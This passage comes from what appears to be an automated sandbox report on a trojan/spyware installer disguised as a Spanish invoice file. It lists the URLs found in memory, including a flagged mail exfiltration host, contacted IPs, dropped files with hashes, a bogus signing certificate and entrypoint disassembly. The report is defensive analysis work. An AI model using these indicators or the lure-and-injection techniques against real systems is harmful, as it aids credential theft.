www.globaltrust.info0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
certificates.starfieldtech.com/repository/1604 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
acedicom.edicomgroup.com/doc0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false high
ac.economia.gob.mx/last.crl0G CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://www.catcert.net/verarrel CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.disig.sk/ca0f CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
www.e-szigno.hu/RootCA.crl CasPol.exe, 00000003.00000003.10527566219.000000001F822000.00000004.00000800.00020000.00000000.sdmp
false high
www.sk.ee/juur/crl/0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.chambersign.org/chambersignroot.crl0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
certs.oati.net/repository/OATICA2.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.oces.trust2408.com/oces.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.quovadis.bm0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://eca.hinet.net/repository0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
IOywau.com CasPol.exe, 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.ssc.lt/root-a/cacrl.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
certs.oaticerts.com/repository/OATICA2.crl CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
Name Source Malicious Antivirus Detection Reputation
Copyright Joe Security LLC 2022 Page 13 of 50
www.trustdst.com/certificates/policy/ACES-index.html0
CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
certs.oati.net/repository/OATICA2.crt0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.accv.es00 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.pkioverheid.nl/policies/root-policy-G20 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
www.e-trust.be/CPS/QNcerts CasPol.exe, 00000003.00000003.10525913075.000000002077E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10526561189.0000000020784000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ocsp.ncdc.gov.sa0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
fedir.comsign.co.il/crl/ComSignCA.crl0 CasPol.exe, 00000003.00000003.10531875778.00000000206AD000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
web.ncdc.gov.sa/crl/nrcaparta1.crl CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.datev.de/zertifikat-policy-int0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
mail.ferdi.hu CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://repository.luxtrust.lu0 CasPol.exe, 00000003.00000003.10526786214.000000001F82A000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
cps.chambersign.org/cps/chambersroot.html0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.acabogacia.org0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
ocsp.eca.hinet.net/OCSP/ocspG2sha20 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
www.uce.gub.uy/acrn/acrn.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.mesince.com/ms.crl0 Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
false Avira URL Cloud: safe unknown
crl.securetrust.com/SGCA.crl0 CasPol.exe, 00000003.00000003.10525714682.0000000020766000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.agesic.gub.uy/acrn/acrn.crl0) CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.securetrust.com/STCA.crl0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
crl.mesince.com/ms-tsa.crl0F Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
false Avira URL Cloud: safe unknown
Name Source Malicious Antivirus Detection Reputation
Copyright Joe Security LLC 2022 Page 14 of 50
r3.i.lencr.org/0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www.rcsc.lt/repository0 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
www2.postsignum.cz/crl/psrootqca2.crl01 CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
https://web.certicamara.com/marco-legal0Z CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
www.e-szigno.hu/RootCA.crt0 CasPol.exe, 00000003.00000003.10527566219.000000001F822000.00000004.00000800.00020000.00000000.sdmp
false high
www.quovadisglobal.com/cps0 CasPol.exe, 00000003.00000003.10527607043.000000001F827000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10527099500.000000001F825000.00000004.00000800.00020000.00000000.sdmp
false high
www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
CasPol.exe, 00000003.00000003.10527284066.0000000020737000.00000004.00000800.00020000.00000000.sdmp
false high
x1.c.lencr.org/0 CasPol.exe, 00000003.00000002.15213552830.000000001F7D9000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10517276404.000000001F7FC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15213389429.000000001F7BA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10520257216.000000001F7FA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.15207830979.000000001D6AC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10508659557.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10507944663.000000001F7FF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.10533101751.000000001F816000.00000004.00000800.00020000.00000000.sdmp
false Avira URL Cloud: safe unknown
Name Source Malicious Antivirus Detection Reputation
World Map of Contacted IPs
Copyright Joe Security LLC 2022 Page 15 of 50
No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs
IP Domain Country Flag ASN ASN Name Malicious
142.250.185.174 drive.google.com United States 15169 GOOGLEUS false
172.217.16.129 googlehosted.l.googleusercontent.com
United States 15169 GOOGLEUS false
185.51.191.23 mail.ferdi.hu Hungary 43359 TARHELYHU true
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 615124
Start date and time: 25/04/202219:42:29 2022-04-25 19:42:29 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: 0h 13m 25s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name: Suspected Instruction Hammering
Number of analysed new started processes analysed:
14
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: HCA enabledEGA enabledHDC enabledAMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.spyw.evad.winEXE@4/6@3/3
Public IPs
General Information
Copyright Joe Security LLC 2022 Page 16 of 50
EGA Information: Successful, ratio: 100%
HDC Information: Failed
HCA Information: Successful, ratio: 100%Number of executed functions: 0Number of non-executed functions: 0
Cookbook Comments: Found application associated with file extension: .exeAdjust boot timeEnable AMSI
Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exeTCP Packets have been reduced to 100Excluded IPs from analysis (wh itelisted): 51.124.57.242, 20.82.19.171, 8.249.55.254Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, wdcpalt.microsoft.com, tile-service.weather.microsoft.com, wd-prod-cp-eu-west-2-fe.westeurope.cloudapp.azure.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, wdcp.microsoft.com, arc.msn.com, wd-prod-cp.trafficmanager.net, wd-prod-cp-eu-west-3-fe.westeurope.cloudapp.azure.comNot all processes where analyzed, report is missing behavior informationReport size getting too big, t oo many NtAllocateVirtualMemory calls found.Report size getting too big, t oo many NtOpenKeyEx calls found.Report size getting too big, t oo many NtProtectVirtualMemory calls found.Report size getting too big, t oo many NtQueryValueKey calls found.Report size getting too big, t oo many NtReadVirtualMemory ca lls found.
Time Type Description
19:44:21 API Interceptor 1x Sleep call for process: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe modified
19:44:47 API Interceptor 2789x Sleep call for process: CasPol.exe modified
⊘ No context
⊘ No context
⊘ No context
⊘ No context
⊘ No context
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type: data
Warnings
Simulations
Behavior and APIs
Joe Sandbox View / Context
IPs
Domains
ASNs
JA3 Fingerprints
Dropped Files
Created / dropped Files
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Copyright Joe Security LLC 2022 Page 17 of 50
Category: modified
Size (bytes): 330
Entropy (8bit): 3.453422334585053
Encrypted: false
SSDEEP: 6:kKS8iW2ka3sN+SkQlPlEGYRMY9z+4KlDA3RUeAxf1:KTPTkPlE99SNxAhUekf1
MD5: 0EAD909351FE6BA4E37724C91204DE5E
SHA1: 1CC51B8954DA663CD594C68631A40355CFE3D813
SHA-256: 3DE7B545886424E803E8965C14EE00EDAA8F81047C100FC1410E0BF14D7EAB51
SHA-512: 81C58B5E52DCABC82F168385A6582E5E512EA6CE1F33795E9862D9CF0253601D10D4347499952D58A01DBB6BB8966DA8DD6361BE457F912E55E3E2A9B2CD3788
Malicious: false
Reputation: low
Preview: p...... ........[..g.X..(...............................................G..s.X.. ........%,.)......([email protected].:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.2.5.2.c.e.6.b.2.2.9.d.8.1.:.0."...
Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], baseline, precision 8, 110x110, frames 3
Category: dropped
Size (bytes): 6581
Entropy (8bit): 7.904676853783499
Encrypted: false
SSDEEP: 192:oXRQwIbkAtvI9H6cbJhq9JxOnjMBb9FWc:KRQvkAtvKHFbJWj8ib9FWc
MD5: 2FA9A311EFD3BF4FAD04E6389E8C2616
SHA1: 1ADEE47523810E21EE861B6129EADDA7A9A2DA84
SHA-256: B42E68FEE4012913887712E6D593378E0E1AC1E6BFA681ECCCC031CFCE16D070
SHA-512: D92187624E870E5F4F09C83614BA4E4C09C812602E14D66C87B0E1187B10C1200D96CFBDF7320EAE5AA41D589AAF436E0501AD7EB777E4B3EC23500D6CA28CAF
Malicious: false
Reputation: low
Preview: ......JFIF.....d.d.....:Exif..MM.*......Q...........Q..........aQ..........a.......C....................................................................C.......................................................................n.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....9...............v....t.vi....bW.w..$u..o..c..g.G..m...;......9....v.[.>..{.aG....4."............$..u..=-d....un..&.)..W?2..q...Rr.0....I{F...R.3..]...1.)....|....~>nA!8......W...p.....o.....^............70 68.'...j..YcXd..g,...y<.."..S.'....&.........xe....B.....S..8..9..|.B..".;|.e../....z..
Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
File Type: data
Category: dropped
Size (bytes): 134966
Entropy (8bit): 4.073060471551526
Encrypted: false
SSDEEP: 768:25Vf4on+k3ta7MXH5L83Lqcep0hTBSYv+zCigzNpys3k/kVpK5hlWy+vpRGZdOo2:qgMXHx83WJiBfhiJ0abTQmzx0WdV0
MD5: F7E6CEA05E0CADC9889F98EFC11D6B9C
SHA1: A510C10D24B9AE426D051943C63DAA5085FA7884
SHA-256: C540E35D45801C7F1FB954DD001200E27B7BB45572AEC807DA6F2A2556AF2AE6
SHA-512: 1405BED0F37766230085AFBB6F7714BA17FEF123681B7F65915E18222FAC1A80CDA47463421425405F4FF79E670D5AE7D609CB5902A90835CDD537C7351074AC
Malicious: false
Reputation: low
Preview: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
C:\Users\user\AppData\Local\Temp\ArtDeco_green_1.bmp
C:\Users\user\AppData\Local\Temp\Forelbige.ext
C:\Users\user\AppData\Local\Temp\microphone-hardware-disabled-symbolic.svg
Copyright Joe Security LLC 2022 Page 18 of 50
File Type: SVG Scalable Vector Graphics image
Category: modified
Size (bytes): 1163
Entropy (8bit): 5.140393170708744
Encrypted: false
SSDEEP: 24:t4CjlVWB1ngUq/OS5iN/jtyKbRAecFhBrN3AGM+5BLBkq:LWyU3vltNtAecFZTMCBLBkq
MD5: F5CDE3C7813F06A3771F22497130FD6A
SHA1: 361CEAD7BFCB3F509EA950E4A8D2EF54471E6DFE
SHA-256: 9FDB37371127BFA1B1098AD0192DB3885D7A625E41BCB22E6C2244B2AA05E82B
SHA-512: F71AB5364D8A87A7F23F73B6030FC0C9998780EB74A8EFBA581F3BC3762F92BCA185F0D1F3F1A148279F494182BE1DF0BCC5DDE31058CF7A9101402B58F2F148
Malicious: false
Reputation: low
Preview: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16">. <g fill="#2e3436">. <path d="m 220,248 c -1.662,0 -3,1.338 -3,3 v 4 h 6 v -4 c 0,-1.662 -1.338,-3 -3,-3 z m -6,6 v 1 h 1.5 v -1 z m 10.5,0 v 1 h 1.5 v -1 z m -8.95312,6 c 0.88748,0.98341 2.08853,1.68073 3.45312,1.91016 V 264 h 2 v -2.08984 c 1.36459,-0.22943 2.56564,-0.92675 3.45312,-1.91016 h -2.41406 c -0.61304,0.30957 -1.29807,0.5 -2.03906,0.5 -0.74099,0 -1.42602,-0.19043 -2.03906,-0.5 z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;white-space:normal;shape-padding:0;isolation:auto;mix-blend-mode:normal;solid-color:#000;solid-opacity:1" color="#000" font-weight="400" font-family="sans-serif" overflow="visib
Process: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 12288
Entropy (8bit): 5.814115788739565
Encrypted: false
SSDEEP: 192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5: CFF85C549D536F651D4FB8387F1976F2
SHA1: D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256: 8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512: 531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious: false
Antivirus: Antivirus: Metadefender, Detection: 0%, BrowseAntivirus: ReversingLabs, Detection: 0%
Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."...........*[email protected][email protected][email protected]............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@[email protected].......*[email protected].......`.......,[email protected]................................................................................................................................................................................................................................................................................................................................................................................................
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped
Size (bytes): 30
Entropy (8bit): 3.964735178725505
Encrypted: false
SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner
MD5: 9F754B47B351EF0FC32527B541420595
SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512: C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious: false
Preview: NordVPN directory not found!..
File type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
C:\Users\user\AppData\Local\Temp\nsoA828.tmp\System.dll
\Device\ConDrv
Static File Info
General
Copyright Joe Security LLC 2022 Page 19 of 50
Entropy (8bit): 5.86142523062926
TrID: Win32 Executable (generic) a (10002005/4) 99.96%Generic Win/DOS Executable (2004/3) 0.02%DOS Executable Generic (2002/1) 0.02%Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
File size: 194608
MD5: 6b6bd25a3f0e2419ef5d628e66117e82
SHA1: d9c4384e0ecc217b6aa2e482680749136e94cea4
SHA256: 2ed3b8699c5693290432c2830348a4574d75b992294d65d3ceea66dc2e036416
SHA512: f0da8b315e17a00f4534b2cd35c3975197cbd5e5bec93931c2a9b0f9862d4bb1d7130881a9f05ab049093dac809517d62396babafd63927aae4b7dbcb4d12f17
SSDEEP: 3072:ifY/TU9fE9PEtueSZl9L/LUb+e3TBFLoGO5dGTkuN:0Ya6g+jDW+wG5dGjN
TLSH: 1E148EB52690C032FAD133305D679A926A18BC515D72BD8E3393FF9F3A326815E1721E
File Content Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....
Icon Hash: 466c60e2c0909858
Entrypoint: 0x403640
Entrypoint Section: .text
Digitally signed: true
Imagebase: 0x400000
Subsystem: windows gui
Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp: 0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major: 4
OS Version Minor: 0
File Version Major: 4
File Version Minor: 0
Subsystem Version Major: 4
Subsystem Version Minor: 0
Import Hash: 61259b55b8912888e90f516ca08dc514
Signature Valid: false
Signature Issuer: [email protected], CN=Magistratens4, OU=APPELINSTANSER, O=Psykogent, L=hjskolerne, S=Hypocrisis3, C=SZ
Signature Validation Error: A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number: -2146762487
Not Before, Not After 25/04/2022 11:22:03 25/04/2023 11:22:03
Subject Chain [email protected], CN=Magistratens4, OU=APPELINSTANSER, O=Psykogent, L=hjskolerne, S=Hypocrisis3, C=SZ
Version: 3
Thumbprint MD5: 21E55DE85D713F8350CABF0E3BC9F034
Thumbprint SHA-1: 32CDB72C327C79ACE6A601E4B947562A4CA642BA
Thumbprint SHA-256: 592C32CF121A5ABDBF8006DC9837C67A458AD7A8024C9FCA8359DA5225CB9E8D
Serial: 00
Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
File Icon
Static PE Info
General
Authenticode Signature
Entrypoint Preview
Copyright Joe Security LLC 2022 Page 20 of 50
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007FD75CAF918Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007FD75CAF915Ah
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A318h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx
Instruction
Programming Language: [EXP] VC++ 6.0 SP5 build 8804
Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT 0x8504 0xa0 .rdata
Rich Headers
Data Directories
Copyright Joe Security LLC 2022 Page 21 of 50
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x4d000 0x183d8 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x2deb8 0x1978 .ndata
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IAT 0x8000 0x2b0 .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0
Name Virtual Address Virtual Size Is in Section
Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
.text 0x1000 0x6676 0x6800 False 0.656813401442 data 6.41745998719 IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata 0x8000 0x139a 0x1400 False 0.4498046875 data 5.14106681717 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data 0xa000 0x20378 0x600 False 0.509765625 data 4.11058212765 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
